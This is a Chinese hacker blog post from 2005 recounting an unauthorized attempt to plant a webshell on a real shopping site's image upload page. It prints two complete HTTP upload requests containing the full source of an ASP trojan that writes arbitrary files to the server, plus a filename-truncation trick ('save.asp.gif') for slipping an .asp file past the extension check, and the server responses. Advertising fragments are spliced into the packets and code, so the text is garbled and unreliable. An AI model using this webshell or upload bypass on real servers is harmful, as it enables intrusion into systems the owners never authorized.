下午5:52分,快吃晚飯了,這段時間裡我比較喜歡給忙碌了一天的自己放短假,所以按照習慣就跑去幾個常去的駭客網站看看文章,武漢的315安全網我還是比較喜歡的,東西比較多而且更新的也還算及時。
記得看過一次315安全網裡的一位兄台做過一個他們伺服器硬碟許可權分配的動畫,瞭解到是一台虛擬機器主機,用自己寫的程式跑了跑,看看有沒有什麼可以利用的地方,發現了一個動感購物商城的上傳頁面,呵呵……
http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
就抓了個包試試看上傳,包的結果如下:
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254 09hr.com網管求職
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3306
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:/backdoor/網頁木馬/海陽ASP木馬/2005/改好的/save.asp" 搜一搜so.bitsCN.com
Content-Type: application/octet-stream
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "Save Success!" %>
<% else %>
<% response.write "Save UnSuccess!" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "
" %> <% Response.write "儲存檔案的絕對路徑(包括檔案名稱:如D:/web/sys.asp):" %>
Play.bitsCN.com小遊戲
<% Response.Write "" %>
<% Response.Write "
" %>
<% Response.write "本檔案絕對路徑:" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "
" %>
<% Response.write "輸入馬的內容:" %>
<% Response.write "" %>
<% Response.write "" %>
<% Response.write "
" %>
Save File Workstation Beautify the version
----Power By Perl
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
開始上傳
-----------------------------7d51863950254--
按照正常的手段改資料包先進行測試,提交結果返回為:
HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Apr 2005 10:05:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 493
Content-Type: text/html
Cache-control: private
搜一搜so.bitsCN.com
ADODB.Stream 錯誤 '800a0bbc'
寫入檔案失敗。
/upload_wj.inc,行 181<
/font>
從返回資料得知根目錄限制了檔案寫入,那我們就換一個目錄,將包裡的上傳路徑改為bookpic/sys.asp,位元組改為3314,提示如下:
HTTP/1.1 200 OK
Date: Mon, 18 Apr 2005 10:07:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 472
Content-Type: text/html
Cache-control: private
嘿嘿,檔案上傳成功,不過你別急,看清楚包的返回資料為bookpic/sys.asp20054181875495496.gif,開啟這個檔案來就是我們的後門檔案代碼了。都到這個地方了,傳不上去有點不甘心,認真看看檔案名稱bookpic/sys.asp20054181875495496.gif,怎麼樣?有點想法沒有?呵呵……
我們的檔案尾碼.asp它還保留著呢,只不過在後面給我們加上了一段長長的字串和gif尾碼,讓我們的asp檔案變成了gif檔案。因為我沒有看過這套程式的上傳檔案代碼,所以我就靠經驗來改改這個後門的資料包,讓它截斷後面的部分。改動之後的資料包如下:
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
bitsCN_com
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3316
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/wolf.asp
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
bitscn.com中國網管聯盟
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:/backdoor/網頁木馬/海陽ASP木馬/2005/改好的/save.asp.gif"
Content-Type: application/octet-stream
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "Save Success!" %>
<% else %>
<% response.write "Save UnSuccess!" %> 09hr.com網管求職
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "
" %> <% Response.write "儲存檔案的絕對路徑(包括檔案名稱:如D:/web/sys.asp):" %>
<% Response.Write "" %>
<% Response.Write "
" %>
<% Response.write "本檔案絕對路徑:" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "
" %>
<% Response.write "輸入馬的內容:" %>
<% Response.write "" %>
<% Response.write "" %>
<% Response.write "
" %>
Save File Workstation Beautify the version
----Power By Perl
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
開始上傳 www.bitsCN.net網管部落格等你來搏
-----------------------------7d51863950254--
整個包的大體並沒變化,只需要將第一次修改的資料包裡的G:/backdoor/網頁木馬/海陽ASP木馬/2005/改好的/save.gif改為G:/backdoor/網頁木馬/海陽ASP木馬/2005/改好的/save.asp.gif,其餘不變,再傳一次。上傳的視窗一閃就關閉了(因為我是用了個BAT來執行提交的),嘿嘿……雖然看不到返回結果,不過我知道這個時候資料已經被我截斷了,檔案也正常的變成了asp。再進後門看看,瀏覽器顯示:
該頁無法顯示
您試圖從目錄中執行 CGI、ISAPI 或其他可執行程式,但該目錄不允許執行程式。
--------------------------------------------------------------------------------
請嘗試以下操作:
如果您認為該目錄應該允許執行存取權限,請與網站管理員聯絡。
HTTP 錯誤 403.1 - 禁止訪問:執行訪問被拒絕。
Internet 資訊服務 (IIS)
嘿嘿……有這個顯示就說明OK了,可以上傳ASP檔案了,之後又換了換目錄試試,都不允許寫入檔案^_^!。這個圖片目錄也不允許執行我們的後門。
畢竟是安全網站的主機,在目錄限制和使用權限設定這方面做的還可以,要不一會就被人黑了可就羞大了^_^。到這裡,我做的整個測試就結束了,不知道看完了大家有什麼感想,雖然並沒有拿到SHELL,其實我想突出講的一點是文章中的思路,以及平時需要的是多積累經驗,在應用的再多留心一點,那發現一點點小東西並不是特別的困難^_^。(文章看的不爽的別拿雞蛋丟,我吃的怕了,拿錢咂我好了,我窮啊~~~)。